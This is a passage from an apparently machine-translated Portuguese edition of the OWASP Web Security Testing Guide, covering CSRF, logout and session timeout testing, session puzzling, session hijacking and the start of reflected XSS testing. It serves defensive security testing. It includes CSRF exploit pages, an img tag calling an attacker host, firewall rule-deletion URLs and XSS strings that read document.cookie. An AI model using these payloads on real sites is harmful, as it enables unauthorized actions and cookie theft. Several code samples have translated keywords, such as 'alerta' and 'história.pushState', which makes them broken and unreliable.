Quando o navegador exibir esta página, ele tentará exibir a imagem de dimensão zero especificada (portanto, invisível) de https://
www.company.example também. Isso resulta no envio automático de uma solicitação ao aplicativo da web hospedado no site. Não é
importante que o URL da imagem não se refira a uma imagem adequada, pois sua presença acionará a ação de solicitação especificada
no campo src de qualquer maneira. Isso acontece desde que o download da imagem não esteja desabilitado no navegador. A maioria dos
navegadores não tem downloads de imagens desativados, pois isso prejudicaria a maioria dos aplicativos da Web além da usabilidade.
O problema aqui é uma consequência de:
Tags HTML na página resultando em execução automática de solicitação HTTP ( sendo img uma delas).
O navegador não tem como saber se o recurso referenciado por img não é uma imagem legítima.
202
Carregamento de imagem que acontece independentemente da localização da suposta origem da imagem, ou seja, o formulário e a própria
imagem não precisam estar localizados no mesmo host ou mesmo no mesmo domínio.
O fato de o conteúdo HTML não relacionado ao aplicativo da Web poder se referir a componentes do aplicativo e o fato de o navegador compor
automaticamente uma solicitação válida para o aplicativo permite esse tipo de ataque. Não há como proibir esse comportamento, a menos que seja
impossível para o invasor interagir com a funcionalidade do aplicativo.
Em ambientes integrados de e-mail/navegador, a simples exibição de uma mensagem de e-mail contendo a referência da imagem resultaria na
execução da solicitação ao aplicativo da web com o cookie do navegador associado. As mensagens de e-mail podem fazer referência a URLs de
imagens aparentemente válidas, como:
<img src="https://[attacker]/picture.gif" width="0" height="0">
Neste exemplo, [atacante] é um site controlado pelo invasor. Ao utilizar um mecanismo de redirecionamento, o site malicioso pode usar http://
[attacker]/picture.gif para direcionar a vítima para http://[thirdparty]/action e acionar o
ação .
Os cookies não são o único exemplo envolvido nesse tipo de vulnerabilidade. Aplicativos da Web cujas informações de sessão são totalmente
fornecidas pelo navegador também são vulneráveis. Isso inclui aplicativos que dependem apenas de mecanismos de autenticação HTTP, pois as
informações de autenticação são conhecidas pelo navegador e são enviadas automaticamente a cada solicitação. Isso não inclui a autenticação
baseada em formulário, que ocorre apenas uma vez e gera alguma forma de informação relacionada à sessão, geralmente um cookie.
Suponhamos que a vítima esteja conectada a um console de gerenciamento web de firewall. Para fazer login, o usuário precisa se autenticar e as
informações da sessão são armazenadas em um cookie.
Vamos supor que o console de gerenciamento web do firewall tenha uma função que permite que um usuário autenticado exclua uma regra
especificada por seu ID numérico, ou todas as regras na configuração se o usuário especificar * (um recurso perigoso na realidade, mas que gera
um exemplo mais interessante). A página de exclusão é mostrada a seguir. Vamos supor que o formulário – para simplificar – emita uma requisição
GET. Para excluir a regra número um:
https://[target]/fwmgt/delete?rule=1
Para excluir todas as regras:
https://[target]/fwmgt/delete?rule=*
Este exemplo é intencionalmente ingênuo, mas mostra de forma simplificada os perigos do CSRF.
Figura 4.6.5-2: Gerenciamento de firewall de controle de sessão

203
Usando o formulário ilustrado na figura acima, inserindo o valor * e clicando no botão Excluir enviará a seguinte solicitação GET:
https://www.company.example/fwmgt/delete?rule=*
Isso excluiria todas as regras de firewall.
Figura 4.6.5-3: Gerenciamento de firewall de controle de sessão 2
O usuário também pode ter obtido os mesmos resultados enviando manualmente a URL:
https://[target]/fwmgt/delete?rule=*
Ou seguindo um link apontando, diretamente ou por meio de um redirecionamento, para o URL acima. Ou, novamente, acessando uma página HTML com
uma tag img incorporada apontando para o mesmo URL.
Em todos esses casos, se o usuário estiver logado no aplicativo de gerenciamento do firewall, a solicitação será bem-sucedida e modificará a configuração
do firewall. Pode-se imaginar ataques visando aplicativos sensíveis e fazendo lances automáticos em leilões, transferências de dinheiro, pedidos, alterando a
configuração de componentes de software críticos, etc.
Uma coisa interessante é que essas vulnerabilidades podem ser exercidas por trás de um firewall; ou seja, é suficiente que o link que está sendo atacado
seja acessível pela vítima e não diretamente pelo atacante. Em particular, pode ser qualquer servidor web de intranet; por exemplo, no cenário de
gerenciamento de firewall mencionado anteriormente, que provavelmente não será exposto à Internet.
Aplicativos autovulneráveis, ou seja, aplicativos que são usados tanto como vetor quanto como alvo de ataque (como aplicativos de webmail), pioram as
coisas. Como os usuários estão conectados quando leem suas mensagens de e-mail, um aplicativo vulnerável desse tipo pode permitir que invasores
executem ações como excluir mensagens ou enviar mensagens que parecem ser originárias da vítima.
Objetivos do teste
Determine se é possível iniciar solicitações em nome de um usuário que não sejam iniciadas pelo usuário.
Como testar
Audite o aplicativo para verificar se seu gerenciamento de sessão é vulnerável. Se o gerenciamento de sessão depender apenas de valores do lado do
cliente (informações disponíveis para o navegador), o aplicativo estará vulnerável. “Valores do lado do cliente” refere-se a cookies e credenciais de
autenticação HTTP (autenticação básica e outras formas de autenticação HTTP; não autenticação baseada em formulário, que é uma autenticação em nível
de aplicativo).
Os recursos acessíveis por meio de solicitações HTTP GET são facilmente vulneráveis, embora as solicitações POST possam ser automatizadas por meio de
JavaScript e também são vulneráveis; portanto, apenas o uso do POST não é suficiente para corrigir a ocorrência de
204
Vulnerabilidades CSRF.
No caso de POST, o exemplo a seguir pode ser usado.
1. Crie uma página HTML semelhante à mostrada abaixo
2. Hospede o HTML em um site malicioso ou de terceiros
3. Envie o link da página para a(s) vítima(s) e induza-a a clicar nele.
<html>
<body onload='document.CSRF.submit()'>
<form action='http://targetWebsite/Authenticate.jsp' method='POST' name='CSRF'> <input type='hidden'

name='name' value='Hacked'> <input type='hidden ' name='senha' value='Hackeado'>
</form>
</body>
</html>
No caso de aplicativos da web nos quais os desenvolvedores estão utilizando JSON para comunicação do navegador com o servidor, pode surgir
um problema com o fato de não haver parâmetros de consulta com o formato JSON, que são obrigatórios nos formulários de autoenvio. Para
contornar esse caso, podemos usar um formulário de autoenvio com cargas JSON, incluindo entrada oculta para explorar o CSRF. Teremos que
alterar o tipo de codificação ( enctype ) para text/plain para garantir que a carga útil seja entregue como está. O código de exploração terá a
seguinte aparência:
<html>
<body>
<script>história.pushState('', '', '/')</script>
<form action='http://victimsite.com' method='POST' enctype='text/plain'> <input type='hidden'
name='{"name":"hacked","password":" hackeado","padding":"'value='algo"}'
/>
<input type='submit' value='Enviar solicitação' />
</form>
</body>
</html>
A requisição POST será a seguinte:
POST / HTTP/1.1
Host: vítimasite.com
Tipo de conteúdo: texto/simples
{"name":"hackeado","password":"hackeado","padding":"=algo"}
Quando esses dados são enviados como uma solicitação POST, o servidor aceitará alegremente os campos de nome e senha e ignorará aquele
com preenchimento de nome, pois não precisa disso.
Remediação
Consulte a folha de dicas de prevenção do OWASP CSRF para medidas de prevenção.
Ferramentas
OWASP ZAP
Testador CSRF
Pinata-csrf-tool
205
Referências
Peter W: “Falsificações de solicitações entre sites”
Thomas Schreiber: “Sessão de Equitação”
Postagem conhecida mais antiga
Perguntas frequentes sobre falsificação de solicitação entre sites
Um fato mais negligenciado sobre falsificação de solicitação entre sites (CSRF)

Multi-POST CSRF
Sans Pen Test Webcast: Gerenciamento completo do aplicativo via Multi POST XSRF
206
Testando a Funcionalidade de Logout
EU IRIA
WSTG-SESS-06
Resumo
O encerramento da sessão é uma parte importante do ciclo de vida da sessão. Reduzir ao mínimo o tempo de vida dos tokens de sessão diminui a probabilidade
de um ataque de sequestro de sessão bem-sucedido. Isso pode ser visto como um controle contra a prevenção de outros ataques, como Cross Site Scripting e
Cross Site Request Forgery. Sabe-se que esses ataques dependem de um usuário ter uma sessão autenticada presente. Não ter um encerramento de sessão
seguro apenas aumenta a superfície de ataque para qualquer um desses ataques.
Um encerramento de sessão seguro requer pelo menos os seguintes componentes:
Disponibilidade de controles de interface do usuário que permitem que o usuário saia manualmente.
Encerramento da sessão após um determinado período de tempo sem atividade (tempo limite da sessão).
Invalidação adequada do estado da sessão do lado do servidor.
Existem vários problemas que podem impedir o encerramento efetivo de uma sessão. Para o aplicativo da Web seguro ideal, um usuário deve poder encerrar a
qualquer momento por meio da interface do usuário. Cada página deve conter um botão de logout em um local diretamente visível. Funções de logoff pouco
claras ou ambíguas podem fazer com que o usuário não confie em tal funcionalidade.
Outro erro comum no encerramento da sessão é que o token de sessão do lado do cliente é definido com um novo valor enquanto o
o estado do lado do servidor permanece ativo e pode ser reutilizado definindo o cookie de sessão de volta para o valor anterior.
Às vezes, apenas uma mensagem de confirmação é mostrada ao usuário sem executar nenhuma ação adicional. Isso deve ser evitado.
Algumas estruturas de aplicativos da web dependem exclusivamente do cookie de sessão para identificar o usuário conectado. O ID do usuário é incorporado
no valor do cookie (criptografado). O servidor de aplicativos não faz nenhum rastreamento no lado do servidor da sessão. Ao sair, o cookie da sessão é removido
do navegador. No entanto, como o aplicativo não faz nenhum rastreamento, ele não sabe se uma sessão foi desconectada ou não. Portanto, ao reutilizar um
cookie de sessão, é possível obter acesso à sessão autenticada. Um exemplo bem conhecido disso é a funcionalidade de autenticação de formulários no
ASP.NET.
Os usuários de navegadores da Web geralmente não se importam com o fato de um aplicativo ainda estar aberto e apenas fecham o navegador ou uma guia.
Um aplicativo da Web deve estar ciente desse comportamento e encerrar a sessão automaticamente no lado do servidor após um período de tempo definido.
O uso de um sistema de logon único (SSO) em vez de um esquema de autenticação específico do aplicativo geralmente causa a coexistência de várias sessões
que precisam ser encerradas separadamente. Por exemplo, o término da sessão específica do aplicativo não encerra a sessão no sistema SSO. Navegar de
volta para o portal SSO oferece ao usuário a possibilidade de fazer login novamente no aplicativo onde o logout foi realizado antes. Por outro lado, uma função
de logout em um sistema SSO não causa necessariamente o encerramento da sessão nos aplicativos conectados.
Objetivos do teste
Avalie a IU de logout.
Analise o tempo limite da sessão e se a sessão foi encerrada corretamente após o logout.
Como testar
207
Testando a interface do usuário de logout

Verifique a aparência e a visibilidade da funcionalidade de logout na interface do usuário. Para isso, visualize cada página da
perspectiva de um usuário que deseja fazer logout do aplicativo da web.
Existem algumas propriedades que indicam uma boa interface de usuário para logout:
Um botão de logout está presente em todas as páginas do aplicativo da web.
O botão de logoff deve ser identificado rapidamente por um usuário que deseja sair do aplicativo da web.
Depois de carregar uma página, o botão de logout deve estar visível sem rolagem.
Idealmente, o botão de logout é colocado em uma área da página que é fixada na porta de exibição do navegador e não é afetada pela
rolagem do conteúdo.
Testando o término da sessão no lado do servidor Primeiro,

armazene os valores dos cookies usados para identificar uma sessão. Invoque a função de logout e observe o comportamento do
aplicativo, principalmente em relação aos cookies de sessão. Tente navegar para uma página que só é visível em uma sessão
autenticada, por exemplo, usando o botão Voltar do navegador. Se uma versão em cache da página for exibida, use o botão
recarregar para atualizar a página do servidor. Se a função de logout fizer com que os cookies de sessão sejam configurados para
um novo valor, restaure o valor antigo dos cookies de sessão e recarregue uma página da área autenticada do aplicativo. Se esses
testes não mostrarem nenhuma vulnerabilidade em uma página específica, tente pelo menos algumas outras páginas do aplicativo
consideradas críticas para a segurança, para garantir que o encerramento da sessão seja reconhecido adequadamente por essas
áreas do aplicativo.
Nenhum dado que deva ser visível apenas por usuários autenticados deve estar visível nas páginas examinadas durante a execução dos
testes. Idealmente, o aplicativo redireciona para uma área pública ou um formulário de login ao acessar áreas autenticadas após o término
da sessão. Isso não deve ser necessário para a segurança do aplicativo, mas definir cookies de sessão para novos valores após o logout
geralmente é considerado uma boa prática.
Testando o tempo limite da sessão

Tente determinar o tempo limite da sessão executando solicitações para uma página na área autenticada do aplicativo da Web com
atrasos crescentes. Se o comportamento de logout aparecer, o atraso usado corresponde aproximadamente ao tempo limite da sessão
valor.
Os mesmos resultados do teste de término de sessão do lado do servidor descritos anteriormente são exceto por um logout causado por um
tempo limite de inatividade.
O valor adequado para o tempo limite da sessão depende da finalidade do aplicativo e deve ser um equilíbrio entre segurança e usabilidade.
Numa aplicação bancária não faz sentido manter uma sessão inativa mais de 15 minutos. Por outro lado, um curto tempo limite em um wiki
ou fórum pode incomodar os usuários que estão digitando artigos longos com solicitações de login desnecessárias. Há limites de tempo de
uma hora e mais podem ser aceitáveis.
Teste para encerramento de sessão em ambientes de logon único (Single Sign-Off)
Faça logout no aplicativo testado. Verifique se existe um portal central ou diretório de aplicativos que permita ao usuário efetuar login novamente
no aplicativo sem autenticação. Teste se o aplicativo solicita a autenticação do usuário, se a URL de um ponto de entrada para o aplicativo é
solicitada. Enquanto estiver conectado no aplicativo testado, faça um logout no sistema SSO. Em seguida, tente acessar uma área autenticada do
aplicativo testado.
Espera-se que a invocação de uma função de logout em um aplicativo da Web conectado a um sistema SSO ou no próprio sistema SSO
cause o encerramento global de todas as sessões. Uma autenticação do usuário deve ser necessária para obter acesso ao aplicativo após
o logout no sistema SSO e no aplicativo conectado.
Ferramentas
Burp Suite - Repetidor
Referências
Machine
208
Artigos técnicos
Ataques de repetição de cookies no ASP.NET ao usar a autenticação de formulários

209
Testando o tempo limite da sessão
EU IRIA
WSTG-SESS-07
Resumo
Nesta fase, os testadores verificam se o aplicativo desconecta automaticamente um usuário quando esse usuário fica ocioso por um determinado
período de tempo, garantindo que não seja possível “reutilizar” a mesma sessão e que nenhum dado sensível permaneça armazenado no cache do
navegador .
Todos os aplicativos devem implementar um tempo limite de ociosidade ou inatividade para as sessões. Este timeout define o tempo que uma sessão
permanecerá ativa caso não haja atividade do usuário, fechando e invalidando a sessão no período de inatividade definido desde a última requisição
HTTP recebida pela aplicação web para um determinado ID de sessão. O timeout mais adequado deve ser um equilíbrio entre segurança (timeout mais
curto) e usabilidade (timeout mais longo) e depende muito do nível de sensibilidade dos dados manipulados pelo aplicativo. Por exemplo, um tempo de
logout de 60 minutos para um fórum público pode ser aceitável, mas um tempo tão longo seria demais em um aplicativo de home banking (onde um
tempo limite máximo de 15 minutos é recomendado). Em qualquer caso, qualquer aplicativo que não imponha um logout baseado em tempo limite deve
ser considerado não seguro, a menos que tal comportamento seja exigido por um requisito funcional específico.
O tempo limite de inatividade limita as chances de um invasor adivinhar e usar uma ID de sessão válida de outro usuário e, em determinadas
circunstâncias, proteger computadores públicos contra reutilização de sessão. No entanto, se o invasor conseguir sequestrar uma determinada sessão,
o tempo limite de inatividade não limita as ações do invasor, pois ele pode gerar atividade na sessão periodicamente para mantê-la ativa por períodos
de tempo mais longos.
O gerenciamento e a expiração do tempo limite da sessão devem ser aplicados no lado do servidor. Se alguns dados sob o controle do cliente forem
usados para impor o tempo limite da sessão, por exemplo, usando valores de cookies ou outros parâmetros do cliente para rastrear referências de
tempo (por exemplo, número de minutos desde o horário de login), um invasor pode manipulá-los para estender a sessão duração. Portanto, o aplicativo
precisa rastrear o tempo de inatividade do lado do servidor e, depois que o tempo limite expirar, invalidar automaticamente a sessão do usuário atual e
excluir todos os dados armazenados no cliente.
Ambas as ações devem ser implementadas com cuidado, a fim de evitar a introdução de pontos fracos que podem ser explorados por um invasor para
obter acesso não autorizado caso o usuário se esqueça de sair do aplicativo. Mais especificamente, quanto à função de logout, é importante garantir
que todos os tokens de sessão (por exemplo, cookies) sejam devidamente destruídos ou inutilizados e que os controles adequados sejam aplicados no
lado do servidor para evitar a reutilização de tokens de sessão. Se tais ações não forem executadas corretamente, um invasor pode repetir esses
tokens de sessão para “ressuscitar” a sessão de um usuário legítimo e se passar por ele (esse ataque é geralmente conhecido como 'repetição de
cookie'). Obviamente, um fator atenuante é que o invasor precisa ser capaz de acessar esses tokens (que são armazenados no PC da vítima), mas,
em vários casos, isso pode não ser impossível ou particularmente difícil.
O cenário mais comum para esse tipo de ataque é um computador público usado para acessar algumas informações privadas (por exemplo, webmail,
conta bancária online). Se o usuário sair do computador sem sair explicitamente e o tempo limite da sessão não for implementado no aplicativo, um
invasor poderá acessar a mesma conta simplesmente pressionando o botão “voltar” do navegador.
Objetivos do teste
Valide se existe um tempo limite de sessão difícil.
Como testar
Machine
210
A mesma abordagem vista na seção Testando a funcionalidade de logoff pode ser aplicada ao medir o tempo limite de logout. A metodologia de teste é
muito semelhante. Primeiro, os testadores precisam verificar se existe um tempo limite, por exemplo, efetuando login e aguardando o acionamento do
logout do tempo limite. Como na função de logout, após o tempo limite ter passado, todos os tokens de sessão devem ser destruídos ou inutilizados.
Então, se o tempo limite estiver configurado, os testadores precisam entender se o tempo limite é aplicado pelo cliente ou pelo servidor (ou ambos). Se
o cookie da sessão for não persistente (ou, mais em geral, o cookie da sessão não armazenar nenhum dado sobre o tempo), os testadores podem
presumir que o tempo limite é aplicado pelo servidor. Se o cookie de sessão contiver alguns dados relacionados ao tempo (por exemplo, hora de login,
hora do último acesso ou data de expiração de um cookie persistente), é possível que o cliente esteja envolvido na imposição de tempo limite. Nesse
caso, os testadores podem tentar modificar o cookie (se não estiver protegido criptograficamente) e ver o que acontece com a sessão. Por exemplo, os
testadores podem definir a data de expiração do cookie em um futuro distante e verificar se a sessão pode ser prolongada.
Como regra geral, tudo deve ser verificado do lado do servidor e não deve ser possível, redefinindo os cookies de sessão para os valores anteriores,
acessar o aplicativo novamente.

O testador precisa verificar se:
A função de logout destrói efetivamente todos os tokens de sessão ou, pelo menos, os torna inutilizáveis,
O servidor executa verificações adequadas no estado da sessão, impedindo que um invasor reproduza identificadores de sessão destruídos
anteriormente
Um tempo limite é aplicado e é devidamente aplicado pelo servidor. Se o servidor usar um tempo de expiração lido de um token de sessão
enviado pelo cliente (mas isso não é aconselhável), o token deverá ser protegido criptograficamente contra adulteração.
Observe que o mais importante é que o aplicativo invalide a sessão no lado do servidor. Geralmente, isso significa que o código deve invocar os
métodos apropriados, por exemplo, HttpSession.invalidate() em Java e Session.abandon() em .NET. Limpar os cookies do navegador é aconselhável,
mas não é estritamente necessário, pois se a sessão for devidamente invalidada no servidor, ter o cookie no navegador não ajudará um invasor.
Referências
Recursos OWASP
Folha de Consulta de Gerenciamento de Sessões
211
Testando para Quebra-cabeças de Sessão
EU IRIA
WSTG-SESS-08
Resumo
Sobrecarga de variável de sessão (também conhecida como Session Puzzling) é uma vulnerabilidade no nível do aplicativo que pode permitir
que um invasor execute uma variedade de ações maliciosas, incluindo, mas não se limitando a:
Ignore mecanismos eficientes de imposição de autenticação e represente usuários legítimos.
Eleve os privilégios de uma conta de usuário malicioso em um ambiente que, de outra forma, seria considerado infalível.
Ignore as fases de qualificação em processos multifásicos, mesmo que o processo inclua todas as restrições de nível de código comumente
recomendadas.
Manipule valores do lado do servidor em métodos indiretos que não podem ser previstos ou detectados.
Execute ataques tradicionais em locais antes inacessíveis ou até mesmo considerados seguros.
Essa vulnerabilidade ocorre quando um aplicativo usa a mesma variável de sessão para mais de uma finalidade. Um invasor pode potencialmente
acessar páginas em uma ordem imprevista pelos desenvolvedores, de modo que a variável de sessão seja definida em um contexto e depois
usada em outro.
Por exemplo, um invasor pode usar a sobrecarga de variável de sessão para contornar os mecanismos de imposição de autenticação de
aplicativos que impõem autenticação validando a existência de variáveis de sessão que contêm valores relacionados à identidade, que
geralmente são armazenados na sessão após um processo de autenticação bem-sucedido. Isso significa que um invasor primeiro acessa um
local no aplicativo que define o contexto da sessão e, em seguida, acessa locais privilegiados que examinam esse contexto.
Por exemplo - um vetor de ataque de desvio de autenticação pode ser executado acessando um ponto de entrada publicamente acessível (por
exemplo, uma página de recuperação de senha) que preenche a sessão com uma variável de sessão idêntica, com base em valores fixos ou
na entrada de origem do usuário.
Objetivos do teste
Identifique todas as variáveis de sessão.
Interrompa o fluxo lógico da geração da sessão.
Como testar
Essa vulnerabilidade pode ser detectada e explorada enumerando todas as variáveis de sessão usadas pelo aplicativo e em qual contexto elas
são válidas. Em particular, isso é possível acessando uma sequência de pontos de entrada e, em seguida, examinando os pontos de saída. No
caso de testes de caixa-preta, esse procedimento é difícil e requer alguma sorte, pois cada sequência diferente pode levar a um resultado
diferente.
Exemplos
Um exemplo muito simples pode ser a funcionalidade de redefinição de senha que, no ponto de entrada, pode solicitar que o usuário forneça
algumas informações de identificação, como nome de usuário ou endereço de e-mail. Essa página pode preencher a sessão com esses valores
de identificação, que são recebidos diretamente do lado do cliente ou obtidos de consultas ou cálculos com base na entrada recebida. Neste
ponto, pode haver algumas páginas no aplicativo que mostram dados privados com base neste objeto de sessão. Dessa maneira, o invasor
pode ignorar o processo de autenticação.
Machine
212
maneira mais eficaz de detectar essas vulnerabilidades é por meio de uma revisão do código-fonte.
Remediação
As variáveis de sessão devem ser usadas apenas para uma única finalidade consistente.
Referências
Quebra-cabeças da sessão
Quebra-cabeças de sessão e condições de corrida de sessão

213
Teste para seqüestro de sessão
EU IRIA
WSTG-SESS-09
Resumo
Um invasor que obtém acesso aos cookies de sessão do usuário pode representá-los apresentando esses cookies. Esse ataque é conhecido
como seqüestro de sessão. Ao considerar invasores de rede, ou seja, invasores que controlam a rede usada pela vítima, os cookies de
sessão podem ser indevidamente expostos ao invasor por HTTP. Para evitar isso, os cookies de sessão devem ser marcados com o atributo
Secure para que sejam comunicados apenas por HTTPS.
Observe que o atributo Secure também deve ser usado quando o aplicativo da Web é totalmente implantado em HTTPS, caso contrário, o
seguinte ataque de roubo de cookie é possível. Suponha que example.com seja totalmente implementado em HTTPS, mas não marque
seus cookies de sessão como Secure . As seguintes etapas de ataque são possíveis:
1. A vítima envia uma solicitação para http://another-site.com .
2. O invasor corrompe a resposta correspondente para que ela acione uma solicitação para http://example.com .
3. O navegador agora tenta acessar http://example.com .
4. Embora a solicitação falhe, os cookies da sessão são vazados sem problemas por HTTP.
Como alternativa, o sequestro de sessão pode ser evitado proibindo o uso de HTTP usando HSTS. Observe que há uma sutileza aqui
relacionada ao escopo do cookie. Em particular, a adoção completa do HSTS é necessária quando os cookies de sessão são emitidos com o
Conjunto de atributos de domínio .
A adoção completa do HSTS é descrita em um documento chamado Testing for Integrity Flaws in Web Sessions , de Stefano Calzavara,
Alvise Rabitti, Alessio Ragazzo e Michele Bugliesi. A adoção completa do HSTS ocorre quando um host ativa o HSTS para si mesmo e para
todos os seus subdomínios. A adoção parcial do HSTS ocorre quando um host ativa o HSTS apenas para si.
Com o atributo Domínio definido, os cookies de sessão podem ser compartilhados entre subdomínios. O uso de HTTP com subdomínios
deve ser evitado para impedir a divulgação de cookies não criptografados enviados por HTTP. Para exemplificar essa falha de segurança,
suponha que o site example.com ative o HSTS sem a opção includeSubDomains . O site emite cookies de sessão com o atributo Domain
definido como example.com . O seguinte ataque é possível:
1. A vítima envia uma solicitação para http://another-site.com .
2. O invasor corrompe a resposta correspondente para que ela acione uma solicitação para http://fake.example.com .
3. O navegador agora tenta acessar http://fake.example.com , que é permitido pela configuração HSTS.
4. Como a solicitação é enviada para um subdomínio de example.com com o atributo Domain definido, ela inclui a sessão
cookies, que vazam abertamente por HTTP.
O HSTS completo deve ser ativado no domínio apex para evitar esse ataque.
Objetivos do teste
Identifique cookies de sessão vulneráveis.
Sequestre cookies vulneráveis e avalie o nível de risco.
Como testar
A estratégia de teste é direcionada a invasores de rede, portanto, só precisa ser aplicada a sites sem adoção total de HSTS (sites com
adoção total de HSTS são seguros, pois seus cookies não são comunicados por HTTP). Assumimos que temos duas contas de teste no site
em teste, uma para atuar como vítima e outra como invasor. Nós
214
simular um cenário em que o invasor rouba todos os cookies que não estão protegidos contra divulgação por HTTP e os apresenta ao site para acessar a
conta da vítima. Se esses cookies forem suficientes para agir em nome da vítima, é possível o seqüestro de sessão.
Aqui estão as etapas para executar este teste:
1. Faça login no site como vítima e acesse qualquer página que ofereça uma função segura que exija autenticação.
2. Exclua do pote de biscoitos todos os cookies que satisfaçam qualquer uma das seguintes condições. caso não
haja adoção de HSTS: o atributo Secure é definido.
caso haja adoção parcial de HSTS: o atributo Secure é definido ou o atributo Domain não é definido.
3. Salve um instantâneo do pote de biscoitos.
4. Acione a função segura identificada na etapa 1.
5. Observe se a operação na etapa 4 foi executada com sucesso. Nesse caso, o ataque foi bem-sucedido.
6. Limpe o pote de cookies, faça o login como o invasor e acesse a página na etapa 1.
7. Escreva no pote de biscoitos, um a um, os biscoitos salvos no passo 3.
8. Acione novamente a função segura identificada na etapa 1.
9. Limpe o pote de biscoitos e faça o login novamente como a vítima.
10. Observe se a operação do passo 8 foi realizada com sucesso na conta da vítima. Se sim, o ataque
foi bem sucedido; caso contrário, o site é seguro contra seqüestro de sessão.
Recomendamos o uso de duas máquinas ou navegadores diferentes para a vítima e o invasor. Isso permite diminuir o número de falsos positivos se o
aplicativo da web fizer impressões digitais para verificar o acesso habilitado a partir de um determinado cookie. Uma variante mais curta, mas menos precisa,
da estratégia de teste requer apenas uma conta de teste. Ele segue o mesmo padrão, mas para na etapa 5 (observe que isso torna a etapa 3 inútil).
Ferramentas
OWASP ZAP
JHijack - uma ferramenta de sequestro de sessão numérica

215
4.7 Teste de Validação de Entrada
4.7.1 Testando para Cross Site Scripting Refletido
4.7.2 Teste para Cross Site Scripting Armazenado
4.7.3 Teste de adulteração de verbo HTTP
4.7.4 Teste de Poluição de Parâmetro HTTP
4.7.5 Teste para SQL Injection
4.7.5.1 Teste para Oracle
4.7.5.2 Testando para MySQL
4.7.5.3 Teste para SQL Server
4.7.5.4 Testando o PostgreSQL
4.7.5.5 Teste para MS Access
4.7.5.6 Teste para injeção NoSQL
4.7.5.7 Teste para injeção de ORM
4.7.5.8 Teste para o lado do cliente
4.7.6 Teste para injeção de LDAP
4.7.7 Teste para injeção de XML
4.7.8 Teste para injeção de SSI
4.7.9 Teste para injeção de XPath
4.7.10 Teste para injeção SMTP IMAP
4.7.11 Teste para Injeção de Código
4.7.11.1 Teste para Inclusão de Arquivo Local
4.7.11.2 Teste para Inclusão de Arquivo Remoto
4.7.12 Teste para Injeção de Comando
4.7.13 Teste para Injeção de String de Formato
4.7.14 Teste de Vulnerabilidade Incubada
4.7.15 Teste para contrabando de divisão de HTTP
4.7.16 Teste para solicitações de entrada HTTP

216
4.7.17 Teste para injeção de cabeçalho de host
4.7.18 Teste para injeção de modelo do lado do servidor
4.7.19 Teste para falsificação de solicitação do lado do servidor

217
Teste para script refletido entre sites
EU IRIA
WSTG-INPV-01
Resumo
Script refletido entre sites (XSS) ocorrem quando um invasor injeta código executável do navegador em uma única resposta HTTP. O ataque injetado não é armazenado
no próprio aplicativo; é não persistente e afeta apenas os usuários que abrem um link criado com códigos maliciosos ou uma página da Web de terceiros. A sequência
de ataque é incluída como parte dos parâmetros URI ou HTTP criados, processada incorretamente pelo aplicativo e devolvida à vítima.
O XSS refletido é o tipo mais frequente de ataque XSS encontrado na natureza. Os ataques XSS refletidos também são conhecidos como ataques XSS não
persistentes e, como a carga útil do ataque é entregue e executada por meio de uma única solicitação e resposta, eles também são chamados de XSS de primeira
ordem ou tipo 1.
Quando um aplicativo da Web é vulnerável a esse tipo de ataque, ele repassa ao cliente entradas não validadas enviadas por meio de solicitações. O modus operandi
comum do ataque inclui uma etapa de design, na qual o invasor cria e testa um URI ofensivo, uma etapa de engenharia social, na qual ele convence suas vítimas a
carregar esse URI em seus navegadores e a eventual execução do código ofensivo usando o navegador da vítima.
Normalmente, o código do invasor é escrito na linguagem JavaScript, mas outras linguagens de script também são usadas, por exemplo, ActionScript e VBScript. Os
invasores geralmente aproveitam essas vulnerabilidades para instalar keyloggers, roubar cookies de vítimas, realizar roubo de área de transferência e alterar o
conteúdo da página (por exemplo, links para download).
Uma das principais dificuldades na prevenção de vulnerabilidades XSS é a codificação de caracteres adequada. Em alguns casos, o servidor web ou o aplicativo web
pode não estar filtrando algumas codificações de caracteres, então, por exemplo, o aplicativo web pode filtrar <script> , mas pode não filtrar %3cscript%3e , que
simplesmente inclui outra codificação de tags .
Objetivos do teste
Identifique as variáveis que são refletidas nas respostas.
Avalie a entrada que eles aceitam e a codificação que é aplicada no retorno (se houver).
Como testar
Um teste de caixa preta incluirá pelo menos três fases:
Detectar vetores de entrada
Detectar vetores de entrada. Para cada página da web, o testador deve determinar todas as variáveis definidas pelo usuário do aplicativo da web e como inseri-las.
Isso inclui entradas ocultas ou não óbvias, como parâmetros HTTP, dados POST, valores de campo de formulário ocultos e valores predefinidos de rádio ou seleção.
Normalmente, editores de HTML no navegador ou proxies da Web são usados para exibir essas variáveis ocultas. Veja o exemplo abaixo.
Analisar vetores de entrada
Analise cada vetor de entrada para detectar possíveis vulnerabilidades. Para detectar uma vulnerabilidade XSS, o testador normalmente usará dados de entrada
especialmente criados com cada vetor de entrada. Esses dados de entrada geralmente são inofensivos, mas acionam respostas do navegador da Web que manifestam
a vulnerabilidade. Os dados de teste podem ser gerados usando um fuzzer de aplicativo da web, uma lista predefinida automatizada de strings de ataque conhecidas
ou manualmente. Alguns exemplos desses dados de entrada são os seguintes:
<script>alerta(123)</script>
Machine
218
"><script>alerta(document.cookie)</script>
Para obter uma lista abrangente de strings de teste em potencial, consulte a folha de dicas de evasão do filtro XSS.
Verificar impacto
Para cada entrada de teste tentada na fase anterior, o testador analisará o resultado e determinará se representa uma vulnerabilidade que tenha um impacto
realista na segurança do aplicativo da web. Isso requer examinar o HTML da página da Web resultante e procurar a entrada de teste. Uma vez encontrado, o
testador identifica todos os caracteres especiais que não foram codificados, substituídos ou filtrados adequadamente. O conjunto de caracteres especiais não
filtrados vulneráveis dependerá do contexto dessa seção do HTML.
Idealmente, todos os caracteres especiais HTML serão substituídos por entidades HTML. As principais entidades HTML a serem identificadas são:
> (maior que)
< (menos que)
& (e comercial)
' (apóstrofo ou aspas simples)
" (aspas duplas)
No entanto, uma lista completa de entidades é definida pelas especificações HTML e XML. Wikipedia tem uma referência completa.
Dentro do contexto de uma ação HTML ou código JavaScript, um conjunto diferente de caracteres especiais precisará ser escapado, codificado, substituído ou
filtrado. Esses personagens incluem:
\n (nova linha)
\r (retorno de carro)
' (apóstrofe ou aspas simples)
" (aspas duplas)
\ (barra invertida)
\uXXXX (valores unicode)
Para obter uma referência mais completa, consulte o guia do Mozilla JavaScript.
Exemplo 1
Por exemplo, considere um site que tenha um aviso de boas-vindas Bem- vindo %username% e um link para download.
Figura 4.7.1-1: XSS Exemplo 1
O testador deve suspeitar que cada ponto de entrada de dados pode resultar em um ataque XSS. Para analisá-la, o testador jogará com a variável do usuário e
tentará acionar a vulnerabilidade.
Vamos tentar clicar no link a seguir e ver o que acontece:
